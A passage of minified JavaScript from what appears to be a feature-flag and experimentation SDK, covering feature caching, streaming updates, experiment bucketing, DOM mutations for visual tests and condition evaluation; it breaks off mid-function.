Y=-1,z=A.length,w=K.length,H={};while(++Y<z){var J=Y<w?K[Y]:void 0;q(H,A[Y],J)}return H}var kZ8;var CZ8=k(()=>{kZ8=rvq});function ovq(A,K){return kZ8(A||[],K||[],Nl)}var LZ8;var RZ8=k(()=>{uNA();CZ8();LZ8=ovq});var maA=k(()=>{mx1();p7()});function SZ8(){return IZ8}function Ux1(A){let K=2166136261,q=A.length;for(let Y=0;Y<q;Y++)K^=A.charCodeAt(Y),K+=(K<<1)+(K<<4)+(K<<7)+(K<<8)+(K<<24);return K>>>0}function sTA(A,K,q){if(q===2)return Ux1(Ux1(A+K)+"")%1e4/1e4;if(q===1)return Ux1(K+A)%1000/1000;return null}function avq(A){if(A<=0)return[];return Array(A).fill(1/A)}function gaA(A,K){return A>=K[0]&&A<K[1]}function hZ8(A,K){let q=sTA("__"+K[0],A,1);if(q===null)return!1;return q>=K[1]&&q<K[2]}function bZ8(A,K){for(let q=0;q<K.length;q++)if(gaA(A,K[q]))return q;return-1}function dx1(A){try{let K=A.replace(/([^\\])\//g,"$1\\/");return new RegExp(K)}catch(K){console.error(K);return}}function FaA(A,K){if(!K.length)return!1;let q=!1,Y=!1;for(let z=0;z<K.length;z++){let w=evq(A,K[z].type,K[z].pattern);if(K[z].include===!1){if(w)return!1}else if(q=!0,w)Y=!0}return Y||!q}function svq(A,K,q){try{let Y=K.replace(/[*.+?^${}()|[\]\\]/g,"\\$&").replace(/_____/g,".*");if(q)Y="\\/?"+Y.replace(/(^\/|\/$)/g,"")+"\\/?";return new RegExp("^"+Y+"$","i").test(A)}catch(Y){return!1}}function tvq(A,K){try{let q=new URL(K.replace(/^([^:/?]*)\./i,"https://$1.").replace(/\*/g,"_____"),"https://_____"),Y=[[A.host,q.host,!1],[A.pathname,q.pathname,!0]];if(q.hash)Y.push([A.hash,q.hash,!1]);return q.searchParams.forEach((z,w)=>{Y.push([A.searchParams.get(w)||"",z,!1])}),!Y.some((z)=>!svq(z[0],z[1],z[2]))}catch(q){return!1}}function evq(A,K,q){try{let Y=new URL(A,"https://_");if(K==="regex"){let z=dx1(q);if(!z)return!1;return z.test(Y.href)||z.test(Y.href.substring(Y.origin.length))}else if(K==="simple")return tvq(Y,q);return!1}catch(Y){return!1}}function xZ8(A,K,q){if(K=K===void 0?1:K,K<0)K=0;else if(K>1)K=1;let Y=avq(A);if(q=q||Y,q.length!==A)q=Y;let z=q.reduce((H,J)=>J+H,0);if(z<0.99||z>1.01)q=Y;let w=0;return q.map((H)=>{let J=w;return w+=H,[J,J+K*H]})}function uZ8(A,K,q){if(!K)return null;let Y=K.split("?")[1];if(!Y)return null;let z=Y.replace(/#.*/,"").split("&").map((w)=>w.split("=",2)).filter((w)=>{let[H]=w;return H===A}).map((w)=>{let[,H]=w;return parseInt(H)});if(z.length>0&&z[0]>=0&&z[0]<q)return z[0];return null}function BZ8(A){try{return A()}catch(K){return console.error(K),!1}}async function p1A(A,K,q){if(K=K||"",q=q||globalThis.crypto&&globalThis.crypto.subtle||IZ8.SubtleCrypto,!q)throw Error("No SubtleCrypto implementation found");try{let Y=await q.importKey("raw",px1(K),{name:"AES-CBC",length:128},!0,["encrypt","decrypt"]),[z,w]=A.split("."),H=await q.decrypt({name:"AES-CBC",iv:px1(z)},Y,px1(w));return new TextDecoder().decode(H)}catch(Y){throw Error("Failed to decrypt")}}function tTA(A){if(typeof A==="string")return A;return JSON.stringify(A)}function QN(A){if(typeof A==="number")A=A+"";if(!A||typeof A!=="string")A="0";let K=A.replace(/(^v|\+.*$)/g,"").split(/[-.]/);if(K.length===3)K.push("~");return K.map((q)=>q.match(/^[0-9]+$/)?q.padStart(5," "):q).join("-")}function mZ8(){let A;try{A="1.6.1"}catch(K){A=""}return A}function gZ8(A,K){let q,Y;try{q=new URL(A),Y=new URL(K)}catch(z){return console.error(`Unable to merge query strings: ${z}`),K}return q.searchParams.forEach((z,w)=>{if(Y.searchParams.has(w))return;Y.searchParams.set(w,z)}),Y.toString()}function yZ8(A){return typeof A==="object"&&A!==null}function QaA(A){if(A.urlPatterns&&A.variations.some((K)=>yZ8(K)&&("urlRedirect"in K)))return"redirect";else if(A.variations.some((K)=>yZ8(K)&&(K.domMutations||("js"in K)||("css"in K))))return"visual";return"unknown"}async function UaA(A,K){return new Promise((q)=>{let Y=!1,z,w=(H)=>{if(Y)return;Y=!0,z&&clearTimeout(z),q(H||null)};if(K)z=setTimeout(()=>w(),K);A.then((H)=>w(H)).catch(()=>w())})}var IZ8,px1=(A)=>Uint8Array.from(atob(A),(K)=>K.charCodeAt(0));var eTA=k(()=>{IZ8={fetch:globalThis.fetch?globalThis.fetch.bind(globalThis):void 0,SubtleCrypto:globalThis.crypto?globalThis.crypto.subtle:void 0,EventSource:globalThis.EventSource}});function UZ8(A){if(Object.assign(qD,A),!qD.backgroundSync)JEq()}async function pZ8(A){let{instance:K,timeout:q,skipCache:Y,allowStale:z,backgroundSync:w}=A;if(!w)qD.backgroundSync=!1;return YEq({instance:K,allowStale:z,timeout:q,skipCache:Y})}function AEq(A){let K=AvA(A),q=swA.get(K)||new Set;q.add(A),swA.set(K,q)}function dZ8(A){swA.forEach((K)=>K.delete(A))}function KEq(){twA.forEach((A)=>{if(!A)return;A.state="idle",nx1(A)})}function qEq(){twA.forEach((A)=>{if(!A)return;if(A.state!=="idle")return;rx1(A)})}async function QZ8(){try{if(!Ob.localStorage)return;await Ob.localStorage.setItem(qD.cacheKey,JSON.stringify(Array.from(og.entries())))}catch(A){}}async function YEq(A){let{instance:K,allowStale:q,timeout:Y,skipCache:z}=A,w=AvA(K),H=lx1(K),J=new Date,O=new Date(J.getTime()-qD.maxAge+qD.staleTTL);await zEq();let X=!qD.disableCache&&!z?og.get(H):void 0;if(X&&(q||X.staleAt>J)&&X.staleAt>O){if(X.sse)ewA.add(w);if(X.staleAt<J)cx1(K);else ix1(K);return{data:X.data,success:!0,source:"cache"}}else return await UaA(cx1(K),Y)||{data:null,success:!1,source:"timeout",error:Error("Timeout")}}function AvA(A){let[K,q]=A.getApiInfo();return`${K}||${q}`}function lx1(A){let K=AvA(A);if(!("isRemoteEval"in A)||!A.isRemoteEval())return K;let q=A.getAttributes(),Y=A.getCacheKeyAttributes()||Object.keys(A.getAttributes()),z={};Y.forEach((J)=>{z[J]=q[J]});let w=A.getForcedVariations(),H=A.getUrl();return`${K}||${JSON.stringify({ca:z,fv:w,url:H})}`}async function zEq(){if(FZ8)return;FZ8=!0;try{if(Ob.localStorage){let A=await Ob.localStorage.getItem(qD.cacheKey);if(!qD.disableCache&&A){let K=JSON.parse(A);if(K&&Array.isArray(K))K.forEach((q)=>{let[Y,z]=q;og.set(Y,{...z,staleAt:new Date(z.staleAt)})});cZ8()}}}catch(A){}if(!qD.disableIdleStreams){let A=awA.startIdleListener();if(A)awA.stopIdleListener=A}}function cZ8(){let A=Array.from(og.entries()).map((q)=>{let[Y,z]=q;return{key:Y,staleAt:z.staleAt.getTime()}}).sort((q,Y)=>q.staleAt-Y.staleAt),K=Math.min(Math.max(0,og.size-qD.maxEntries),og.size);for(let q=0;q<K;q++)og.delete(A[q].key)}function lZ8(A,K,q){let Y=q.dateUpdated||"",z=new Date(Date.now()+qD.staleTTL),w=!qD.disableCache?og.get(K):void 0;if(w&&Y&&w.version===Y){w.staleAt=z,QZ8();return}if(!qD.disableCache)og.set(K,{data:q,version:Y,staleAt:z,sse:ewA.has(A)}),cZ8();QZ8();let H=swA.get(A);H&&H.forEach((J)=>wEq(J,q))}async function wEq(A,K){await A.setPayload(K||A.getPayload())}async function cx1(A){let{apiHost:K,apiRequestHeaders:q}=A.getApiHosts(),Y=A.getClientKey(),z="isRemoteEval"in A&&A.isRemoteEval(),w=AvA(A),H=lx1(A),J=paA.get(H);if(!J)J=(z?awA.fetchRemoteEvalCall({host:K,clientKey:Y,payload:{attributes:A.getAttributes(),forcedVariations:A.getForcedVariations(),forcedFeatures:Array.from(A.getForcedFeatures().entries()),url:A.getUrl()},headers:q}):awA.fetchFeaturesCall({host:K,clientKey:Y,headers:q})).then((X)=>{if(!X.ok)throw Error(`HTTP error: ${X.status}`);if(X.headers.get("x-sse-support")==="enabled")ewA.add(w);return X.json()}).then((X)=>{return lZ8(w,H,X),ix1(A),paA.delete(H),{data:X,success:!0,source:"network"}}).catch((X)=>{return paA.delete(H),{data:null,source:"error",success:!1,error:X}}),paA.set(H,J);return J}function ix1(A){let K=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!1,q=AvA(A),Y=lx1(A),{streamingHost:z,streamingHostRequestHeaders:w}=A.getApiHosts(),H=A.getClientKey();if(K)ewA.add(q);if(qD.backgroundSync&&ewA.has(q)&&Ob.EventSource){if(twA.has(q))return;let J={src:null,host:z,clientKey:H,headers:w,cb:(O)=>{try{if(O.type==="features-updated"){let X=swA.get(q);X&&X.forEach(($)=>{cx1($)})}else if(O.type==="features"){let X=JSON.parse(O.data);lZ8(q,Y,X)}J.errors=0}catch(X){iZ8(J)}},errors:0,state:"active"};twA.set(q,J),rx1(J)}}function iZ8(A){if(A.state==="idle")return;if(A.errors++,A.errors>3||A.src&&A.src.readyState===2){let K=Math.pow(3,A.errors-3)*(1000+Math.random()*1000);nx1(A),setTimeout(()=>{if(["idle","active"].includes(A.state))return;rx1(A)},Math.min(K,300000))}}function nx1(A){if(!A.src)return;if(A.src.onopen=null,A.src.onerror=null,A.src.close(),A.src=null,A.state==="active")A.state="disabled"}function rx1(A){A.src=awA.eventSourceCall({host:A.host,clientKey:A.clientKey,headers:A.headers}),A.state="active",A.src.addEventListener("features",A.cb),A.src.addEventListener("features-updated",A.cb),A.src.onerror=()=>iZ8(A),A.src.onopen=()=>{A.errors=0}}function HEq(A,K){nx1(A),twA.delete(K)}function JEq(){ewA.clear(),twA.forEach(HEq),swA.clear(),awA.stopIdleListener()}function daA(A,K){if(K.streaming){if(!A.getClientKey())throw Error("Must specify clientKey to enable streaming");if(K.payload)ix1(A,!0);AEq(A)}}var qD,Ob,awA,swA,FZ8=!1,og,paA,twA,ewA;var nZ8=k(()=>{eTA();qD={staleTTL:60000,maxAge:14400000,cacheKey:"gbFeaturesCache",backgroundSync:!0,maxEntries:10,disableIdleStreams:!1,idleStreamInterval:20000,disableCache:!1},Ob=SZ8(),awA={fetchFeaturesCall:(A)=>{let{host:K,clientKey:q,headers:Y}=A;return Ob.fetch(`${K}/api/features/${q}`,{headers:Y})},fetchRemoteEvalCall:(A)=>{let{host:K,clientKey:q,payload:Y,headers:z}=A,w={method:"POST",headers:{"Content-Type":"application/json",...z},body:JSON.stringify(Y)};return Ob.fetch(`${K}/api/eval/${q}`,w)},eventSourceCall:(A)=>{let{host:K,clientKey:q,headers:Y}=A;if(Y)return new Ob.EventSource(`${K}/sub/${q}`,{headers:Y});return new Ob.EventSource(`${K}/sub/${q}`)},startIdleListener:()=>{let A;if(!(typeof window<"u"&&typeof document<"u"))return;let q=()=>{if(document.visibilityState==="visible")window.clearTimeout(A),qEq();else if(document.visibilityState==="hidden")A=window.setTimeout(KEq,qD.idleStreamInterval)};return document.addEventListener("visibilitychange",q),()=>document.removeEventListener("visibilitychange",q)},stopIdleListener:()=>{}};try{if(globalThis.localStorage)Ob.localStorage=globalThis.localStorage}catch(A){}swA=new Map,og=new Map,paA=new Map,twA=new Map,ewA=new Set});var wW8=v((zW8)=>{Object.defineProperty(zW8,"__esModule",{value:!0});var sZ8=/^[a-zA-Z:_][a-zA-Z0-9:_.-]*$/,sx1={revert:function(){}},naA=new Map,ax1=new Set;function raA(A){var K=naA.get(A);return K||naA.set(A,K={element:A,attributes:{}}),K}function oaA(A,K,q,Y,z){var w=q(A),H={isDirty:!1,originalValue:w,virtualValue:w,mutations:[],el:A,_positionTimeout:null,observer:new MutationObserver(function(){if(K!=="position"||!H._positionTimeout){K==="position"&&(H._positionTimeout=setTimeout(function(){H._positionTimeout=null},1000));var J=q(A);K==="position"&&J.parentNode===H.virtualValue.parentNode&&J.insertBeforeNode===H.virtualValue.insertBeforeNode||J!==H.virtualValue&&(H.originalValue=J,z(H))}}),mutationRunner:z,setValue:Y,getCurrentValue:q};return K==="position"&&A.parentNode?H.observer.observe(A.parentNode,{childList:!0,subtree:!0,attributes:!1,characterData:!1}):H.observer.observe(A,function(J){return J==="html"?{childList:!0,subtree:!0,attributes:!0,characterData:!0}:{childList:!1,subtree:!1,attributes:!0,attributeFilter:[J]}}(K)),H}function aaA(A,K){var q=K.getCurrentValue(K.el);K.virtualValue=A,A&&typeof A!="string"?q&&A.parentNode===q.parentNode&&A.insertBeforeNode===q.insertBeforeNode||(K.isDirty=!0,rZ8()):A!==q&&(K.isDirty=!0,rZ8())}function OEq(A){var K=A.originalValue;A.mutations.forEach(function(q){return K=q.mutate(K)}),aaA(function(q){return caA||(caA=document.createElement("div")),caA.innerHTML=q,caA.innerHTML}(K),A)}function XEq(A){var K=new Set(A.originalValue.split(/\s+/).filter(Boolean));A.mutations.forEach(function(q){return q.mutate(K)}),aaA(Array.from(K).filter(Boolean).join(" "),A)}function $Eq(A){var K=A.originalValue;A.mutations.forEach(function(q){return K=q.mutate(K)}),aaA(K,A)}function _Eq(A){var K=A.originalValue;A.mutations.forEach(function(q){var Y=function(z){var w=z.insertBeforeSelector,H=document.querySelector(z.parentSelector);if(!H)return null;var J=w?document.querySelector(w):null;return w&&!J?null:{parentNode:H,insertBeforeNode:J}}(q.mutate());K=Y||K}),aaA(K,A)}var GEq=function(A){return A.innerHTML},ZEq=function(A,K){return A.innerHTML=K};function tZ8(A){var K=raA(A);return K.html||(K.html=oaA(A,"html",GEq,ZEq,OEq)),K.html}var WEq=function(A){return{parentNode:A.parentElement,insertBeforeNode:A.nextElementSibling}},DEq=function(A,K){K.insertBeforeNode&&!K.parentNode.contains(K.insertBeforeNode)||K.parentNode.insertBefore(A,K.insertBeforeNode)};function eZ8(A){var K=raA(A);return K.position||(K.position=oaA(A,"position",WEq,DEq,_Eq)),K.position}var caA,qvA,jEq=function(A,K){return K?A.className=K:A.removeAttribute("class")},MEq=function(A){return A.className};function AW8(A){var K=raA(A);return K.classes||(K.classes=oaA(A,"class",MEq,jEq,XEq)),K.classes}function KW8(A,K){var q,Y=raA(A);return Y.attributes[K]||(Y.attributes[K]=oaA(A,K,(q=K,function(z){var w;return(w=z.getAttribute(q))!=null?w:null}),function(z){return function(w,H){return H!==null?w.setAttribute(z,H):w.removeAttribute(z)}}(K),$Eq)),Y.attributes[K]}function laA(A,K,q){if(q.isDirty){q.isDirty=!1;var Y=q.virtualValue;q.mutations.length||function(z,w){var H,J,O=naA.get(z);if(O)if(w==="html")(H=O.html)==null||(J=H.observer)==null||J.disconnect(),delete O.html;else if(w==="class"){var X,$;(X=O.classes)==null||($=X.observer)==null||$.disconnect(),delete O.classes}else if(w==="position"){var _,G;(_=O.position)==null||(G=_.observer)==null||G.disconnect(),delete O.position}else{var Z,W,D;(Z=O.attributes)==null||(W=Z[w])==null||(D=W.observer)==null||D.disconnect(),delete O.attributes[w]}}(A,K),q.setValue(A,Y)}}function PEq(A,K){A.html&&laA(K,"html",A.html),A.classes&&laA(K,"class",A.classes),A.position&&laA(K,"position",A.position),Object.keys(A.attributes).forEach(function(q){laA(K,q,A.attributes[q])})}function rZ8(){naA.forEach(PEq)}function qW8(A){if(A.kind!=="position"||A.elements.size!==1){var K=new Set(A.elements);document.querySelectorAll(A.selector).forEach(function(q){K.has(q)||(A.elements.add(q),function(Y,z){var w=null;Y.kind==="html"?w=tZ8(z):Y.kind==="class"?w=AW8(z):Y.kind==="attribute"?w=KW8(z,Y.attribute):Y.kind==="position"&&(w=eZ8(z)),w&&(w.mutations.push(Y),w.mutationRunner(w))}(A,q))})}}function oZ8(){ax1.forEach(qW8)}function YW8(){typeof document<"u"&&(qvA||(qvA=new MutationObserver(function(){oZ8()})),oZ8(),qvA.observe(document.documentElement,{childList:!0,subtree:!0,attributes:!1,characterData:!1}))}function saA(A){return typeof document>"u"?sx1:(ax1.add(A),qW8(A),{revert:function(){var K;(K=A).elements.forEach(function(q){return function(Y,z){var w=null;if(Y.kind==="html"?w=tZ8(z):Y.kind==="class"?w=AW8(z):Y.kind==="attribute"?w=KW8(z,Y.attribute):Y.kind==="position"&&(w=eZ8(z)),w){var H=w.mutations.indexOf(Y);H!==-1&&w.mutations.splice(H,1),w.mutationRunner(w)}}(K,q)}),K.elements.clear(),ax1.delete(K)}})}function ox1(A,K){return saA({kind:"html",elements:new Set,mutate:K,selector:A})}function aZ8(A,K){return saA({kind:"position",elements:new Set,mutate:K,selector:A})}function KvA(A,K){return saA({kind:"class",elements:new Set,mutate:K,selector:A})}function iaA(A,K,q){return sZ8.test(K)?K==="class"||K==="className"?KvA(A,function(Y){var z=q(Array.from(Y).join(" "));Y.clear(),z&&z.split(/\s+/g).filter(Boolean).forEach(function(w){return Y.add(w)})}):saA({kind:"attribute",attribute:K,elements:new Set,mutate:q,selector:A}):sx1}YW8();var VEq={html:ox1,classes:KvA,attribute:iaA,position:aZ8,declarative:function(A){var{selector:K,action:q,value:Y,attribute:z,parentSelector:w,insertBeforeSelector:H}=A;if(z==="html"){if(q==="append")return ox1(K,function(J){return J+(Y!=null?Y:"")});if(q==="set")return ox1(K,function(){return Y!=null?Y:""})}else if(z==="class"){if(q==="append")return KvA(K,function(J){Y&&J.add(Y)});if(q==="remove")return KvA(K,function(J){Y&&J.delete(Y)});if(q==="set")return KvA(K,function(J){J.clear(),Y&&J.add(Y)})}else if(z==="position"){if(q==="set"&&w)return aZ8(K,function(){return{insertBeforeSelector:H,parentSelector:w}})}else{if(q==="append")return iaA(K,z,function(J){return J!==null?J+(Y!=null?Y:""):Y!=null?Y:""});if(q==="set")return iaA(K,z,function(){return Y!=null?Y:""});if(q==="remove")return iaA(K,z,function(){return null})}return sx1}};zW8.connectGlobalObserver=YW8,zW8.default=VEq,zW8.disconnectGlobalObserver=function(){qvA&&qvA.disconnect()},zW8.validAttributeName=sZ8});function Ji(A,K,q){q=q||{};for(let[Y,z]of Object.entries(K))switch(Y){case"$or":if(!HW8(A,z,q))return!1;break;case"$nor":if(HW8(A,z,q))return!1;break;case"$and":if(!kEq(A,z,q))return!1;break;case"$not":if(Ji(A,z,q))return!1;break;default:if(!YvA(z,fEq(A,Y),q))return!1}return!0}function fEq(A,K){let q=K.split("."),Y=A;for(let z=0;z<q.length;z++)if(Y&&typeof Y==="object"&&q[z]in Y)Y=Y[q[z]];else return null;return Y}function NEq(A){if(!tx1[A])tx1[A]=new RegExp(A.replace(/([^\\])\//g,"$1\\/"));return tx1[A]}function YvA(A,K,q){if(typeof A==="string")return K+""===A;if(typeof A==="number")return K*1===A;if(typeof A==="boolean")return K!==null&&!!K===A;if(A===null)return K===null;if(Array.isArray(A)||!JW8(A))return JSON.stringify(K)===JSON.stringify(A);for(let Y in A)if(!EEq(Y,K,A[Y],q))return!1;return!0}function JW8(A){let K=Object.keys(A);return K.length>0&&K.filter((q)=>q[0]==="$").length===K.length}function TEq(A){if(A===null)return"null";if(Array.isArray(A))return"array";let K=typeof A;if(["string","number","boolean","object","undefined"].includes(K))return K;return"unknown"}function vEq(A,K,q){if(!Array.isArray(A))return!1;let Y=JW8(K)?(z)=>YvA(K,z,q):(z)=>Ji(z,K,q);for(let z=0;z<A.length;z++)if(A[z]&&Y(A[z]))return!0;return!1}function taA(A,K){if(Array.isArray(A))return A.some((q)=>K.includes(q));return K.includes(A)}function EEq(A,K,q,Y){switch(A){case"$veq":return QN(K)===QN(q);case"$vne":return QN(K)!==QN(q);case"$vgt":return QN(K)>QN(q);case"$vgte":return QN(K)>=QN(q);case"$vlt":return QN(K)<QN(q);case"$vlte":return QN(K)<=QN(q);case"$eq":return K===q;case"$ne":return K!==q;case"$lt":return K<q;case"$lte":return K<=q;case"$gt":return K>q;case"$gte":return K>=q;case"$exists":return q?K!=null:K==null;case"$in":if(!Array.isArray(q))return!1;return taA(K,q);case"$inGroup":return taA(K,Y[q]||[]);case"$notInGroup":return!taA(K,Y[q]||[]);case"$nin":if(!Array.isArray(q))return!1;return!taA(K,q);case"$not":return!YvA(q,K,Y);case"$size":if(!Array.isArray(K))return!1;return YvA(q,K.length,Y);case"$elemMatch":return vEq(K,q,Y);case"$all":if(!Array.isArray(K))return!1;for(let z=0;z<q.length;z++){let w=!1;for(let H=0;H<K.length;H++)if(YvA(q[z],K[H],Y)){w=!0;break}if(!w)return!1}return!0;case"$regex":try{return NEq(q).test(K)}catch(z){return!1}case"$type":return TEq(K)===q;default:return console.error("Unknown operator: "+A),!1}}function HW8(A,K,q){if(!K.length)return!0;for(let Y=0;Y<K.length;Y++)if(Ji(A,K[Y],q))return!0;return!1}function kEq(A,K,q){for(let Y=0;Y<K.length;Y++)if(!Ji(A,K[Y],q))return!1;return!0}var tx1;var OW8=k(()=>{eTA();tx1={}});function REq(A){let K=new Map;if(A.global.forcedFeatureValues)A.global.forcedFeatureValues.forEach((q,Y)=>K.set(Y,q));if(A.user.forcedFeatureValues)A.user.forcedFeatureValues.forEach((q,Y)=>K.set(Y,q));return K}function yEq(A){if(A.global.forcedVariations&&A.user.forcedVariations)return{...A.global.forcedVariations,...A.user.forcedVariations};else if(A.global.forcedVariations)return A.global.forcedVariations;else if(A.user.forcedVariations)return A.user.forcedVariations;else return{}}async function AHA(A){try{await A()}catch(K){}}function XW8(A,K,q){if(A.user.trackedExperiments){let z=KsA(K,q);if(A.user.trackedExperiments.has(z))return[];A.user.trackedExperiments.add(z)}if(A.user.enableDevMode&&A.user.devLogs)A.user.devLogs.push({experiment:K,result:q,timestamp:Date.now().toString(),logType:"experiment"});let Y=[];if(A.global.trackingCallback){let z=A.global.trackingCallback;Y.push(AHA(()=>z(K,q,A.user)))}if(A.user.trackingCallback){let z=A.user.trackingCallback;Y.push(AHA(()=>z(K,q)))}if(A.global.eventLogger){let z=A.global.eventLogger;Y.push(AHA(()=>z(LEq,{experimentId:K.key,variationId:q.key,hashAttribute:q.hashAttribute,hashValue:q.hashValue},A.user)))}return Y}function IEq(A,K,q){if(A.user.trackedFeatureUsage){let Y=JSON.stringify(q.value);if(A.user.trackedFeatureUsage[K]===Y)return;if(A.user.trackedFeatureUsage[K]=Y,A.user.enableDevMode&&A.user.devLogs)A.user.devLogs.push({featureKey:K,result:q,timestamp:Date.now().toString(),logType:"feature"})}if(A.global.onFeatureUsage){let Y=A.global.onFeatureUsage;AHA(()=>Y(K,q,A.user))}if(A.user.onFeatureUsage){let Y=A.user.onFeatureUsage;AHA(()=>Y(K,q))}if(A.global.eventLogger){let Y=A.global.eventLogger;AHA(()=>Y(CEq,{feature:K,source:q.source,value:q.value,ruleId:q.source==="defaultValue"?"$default":q.ruleId||"",variationId:q.experimentResult?q.experimentResult.key:""},A.user))}}function eaA(A,K){if(K.stack.evaluatedFeatures.has(A))return Oi(K,A,null,"cyclicPrerequisite");K.stack.evaluatedFeatures.add(A),K.stack.id=A;let q=REq(K);if(q.has(A))return Oi(K,A,q.get(A),"override");if(!K.global.features||!K.global.features[A])return Oi(K,A,null,"unknownFeature");let Y=K.global.features[A];if(Y.rules){let z=new Set(K.stack.evaluatedFeatures);A:for(let w of Y.rules){if(w.parentConditions)for(let O of w.parentConditions){K.stack.evaluatedFeatures=new Set(z);let X=eaA(O.id,K);if(X.source==="cyclicPrerequisite")return Oi(K,A,null,"cyclicPrerequisite");let $={value:X.value};if(!Ji($,O.condition||{})){if(O.gate)return Oi(K,A,null,"prerequisite");continue A}}if(w.filters&&GW8(w.filters,K))continue;if("force"in w){if(w.condition&&!_W8(w.condition,K))continue;if(!SEq(K,w.seed||A,w.hashAttribute,K.user.saveStickyBucketAssignmentDoc&&!w.disableStickyBucketing?w.fallbackAttribute:void 0,w.range,w.coverage,w.hashVersion))continue;if(w.tracks)w.tracks.forEach((O)=>{if(!XW8(K,O.experiment,O.result).length&&K.global.saveDeferredTrack)K.global.saveDeferredTrack({experiment:O.experiment,result:O.result})});return Oi(K,A,w.force,"force",w.id)}if(!w.variations)continue;let H={variations:w.variations,key:w.key||A};if("coverage"in w)H.coverage=w.coverage;if(w.weights)H.weights=w.weights;if(w.hashAttribute)H.hashAttribute=w.hashAttribute;if(w.fallbackAttribute)H.fallbackAttribute=w.fallbackAttribute;if(w.disableStickyBucketing)H.disableStickyBucketing=w.disableStickyBucketing;if(w.bucketVersion!==void 0)H.bucketVersion=w.bucketVersion;if(w.minBucketVersion!==void 0)H.minBucketVersion=w.minBucketVersion;if(w.namespace)H.namespace=w.namespace;if(w.meta)H.meta=w.meta;if(w.ranges)H.ranges=w.ranges;if(w.name)H.name=w.name;if(w.phase)H.phase=w.phase;if(w.seed)H.seed=w.seed;if(w.hashVersion)H.hashVersion=w.hashVersion;if(w.filters)H.filters=w.filters;if(w.condition)H.condition=w.condition;let{result:J}=AsA(H,A,K);if(K.global.onExperimentEval&&K.global.onExperimentEval(H,J),J.inExperiment&&!J.passthrough)return Oi(K,A,J.value,"experiment",w.id,H,J)}}return Oi(K,A,Y.defaultValue===void 0?null:Y.defaultValue,"defaultValue")}function AsA(A,K,q){let Y=A.key,z=A.variations.length;if(z<2)return{result:_J(q,A,-1,!1,K)};if(q.global.enabled===!1||q.user.enabled===!1)return{result:_J(q,A,-1,!1,K)};if(A=hEq(A,q),A.urlPatterns&&!FaA(q.user.url||"",A.urlPatterns))return{result:_J(q,A,-1,!1,K)};let w=uZ8(Y,q.user.url||"",z);if(w!==null)return{result:_J(q,A,w,!1,K)};let H=yEq(q);if(Y in H){let j=H[Y];return{result:_J(q,A,j,!1,K)}}if(A.status==="draft"||A.active===!1)return{result:_J(q,A,-1,!1,K)};let{hashAttribute:J,hashValue:O}=d1A(q,A.hashAttribute,q.user.saveStickyBucketAssignmentDoc&&!A.disableStickyBucketing?A.fallbackAttribute:void 0);if(!O)return{result:_J(q,A,-1,!1,K)};let X=-1,$=!1,_=!1;if(q.user.saveStickyBucketAssignmentDoc&&!A.disableStickyBucketing){let{variation:j,versionIsBlocked:M}=uEq({ctx:q,expKey:A.key,expBucketVersion:A.bucketVersion,expHashAttribute:A.hashAttribute,expFallbackAttribute:A.fallbackAttribute,expMinBucketVersion:A.minBucketVersion,expMeta:A.meta});$=j>=0,X=j,_=!!M}if(!$){if(A.filters){if(GW8(A.filters,q))return{result:_J(q,A,-1,!1,K)}}else if(A.namespace&&!hZ8(O,A.namespace))return{result:_J(q,A,-1,!1,K)};if(A.include&&!BZ8(A.include))return{result:_J(q,A,-1,!1,K)};if(A.condition&&!_W8(A.condition,q))return{result:_J(q,A,-1,!1,K)};if(A.parentConditions){let j=new Set(q.stack.evaluatedFeatures);for(let M of A.parentConditions){q.stack.evaluatedFeatures=new Set(j);let P=eaA(M.id,q);if(P.source==="cyclicPrerequisite")return{result:_J(q,A,-1,!1,K)};let f={value:P.value};if(!Ji(f,M.condition||{}))return{result:_J(q,A,-1,!1,K)}}}if(A.groups&&!xEq(A.groups,q))return{result:_J(q,A,-1,!1,K)}}if(A.url&&!bEq(A.url,q))return{result:_J(q,A,-1,!1,K)};let G=sTA(A.seed||Y,O,A.hashVersion||1);if(G===null)return{result:_J(q,A,-1,!1,K)};if(!$){let j=A.ranges||xZ8(z,A.coverage===void 0?1:A.coverage,A.weights);X=bZ8(G,j)}if(_)return{result:_J(q,A,-1,!1,K,void 0,!0)};if(X<0)return{result:_J(q,A,-1,!1,K)};if("force"in A)return{result:_J(q,A,A.force===void 0?-1:A.force,!1,K)};if(q.global.qaMode||q.user.qaMode)return{result:_J(q,A,-1,!1,K)};if(A.status==="stopped")return{result:_J(q,A,-1,!1,K)};let Z=_J(q,A,X,!0,K,G,$);if(q.user.saveStickyBucketAssignmentDoc&&!A.disableStickyBucketing){let{changed:j,key:M,doc:P}=mEq(q,J,tTA(O),{[ex1(A.key,A.bucketVersion)]:Z.key});if(j)q.user.stickyBucketAssignmentDocs=q.user.stickyBucketAssignmentDocs||{},q.user.stickyBucketAssignmentDocs[M]=P,q.user.saveStickyBucketAssignmentDoc(P)}let W=XW8(q,A,Z);if(W.length===0&&q.global.saveDeferredTrack)q.global.saveDeferredTrack({experiment:A,result:Z});let D=!W.length?void 0:W.length===1?W[0]:Promise.all(W).then(()=>{});return"changeId"in A&&A.changeId&&q.global.recordChangeId&&q.global.recordChangeId(A.changeId),{result:Z,trackingCall:D}}function Oi(A,K,q,Y,z,w,H){let J={value:q,on:!!q,off:!q,source:Y,ruleId:z||""};if(w)J.experiment=w;if(H)J.experimentResult=H;if(Y!=="override")IEq(A,K,J);return J}function $W8(A){return{...A.user.attributes,...A.user.attributeOverrides}}function _W8(A,K){return Ji($W8(K),A,K.global.savedGroups||{})}function GW8(A,K){return A.some((q)=>{let{hashValue:Y}=d1A(K,q.attribute);if(!Y)return!0;let z=sTA(q.seed,Y,q.hashVersion||2);if(z===null)return!0;return!q.ranges.some((w)=>gaA(z,w))})}function SEq(A,K,q,Y,z,w,H){if(!z&&w===void 0)return!0;if(!z&&w===0)return!1;let{hashValue:J}=d1A(A,q,Y);if(!J)return!1;let O=sTA(K,J,H||1);if(O===null)return!1;return z?gaA(O,z):w!==void 0?O<=w:!0}function _J(A,K,q,Y,z,w,H){let J=!0;if(q<0||q>=K.variations.length)q=0,J=!1;let{hashAttribute:O,hashValue:X}=d1A(A,K.hashAttribute,A.user.saveStickyBucketAssignmentDoc&&!K.disableStickyBucketing?K.fallbackAttribute:void 0),$=K.meta?K.meta[q]:{},_={key:$.key||""+q,featureId:z,inExperiment:J,hashUsed:Y,variationId:q,value:K.variations[q],hashAttribute:O,hashValue:X,stickyBucketUsed:!!H};if($.name)_.name=$.name;if(w!==void 0)_.bucket=w;if($.passthrough)_.passthrough=$.passthrough;return _}function hEq(A,K){let 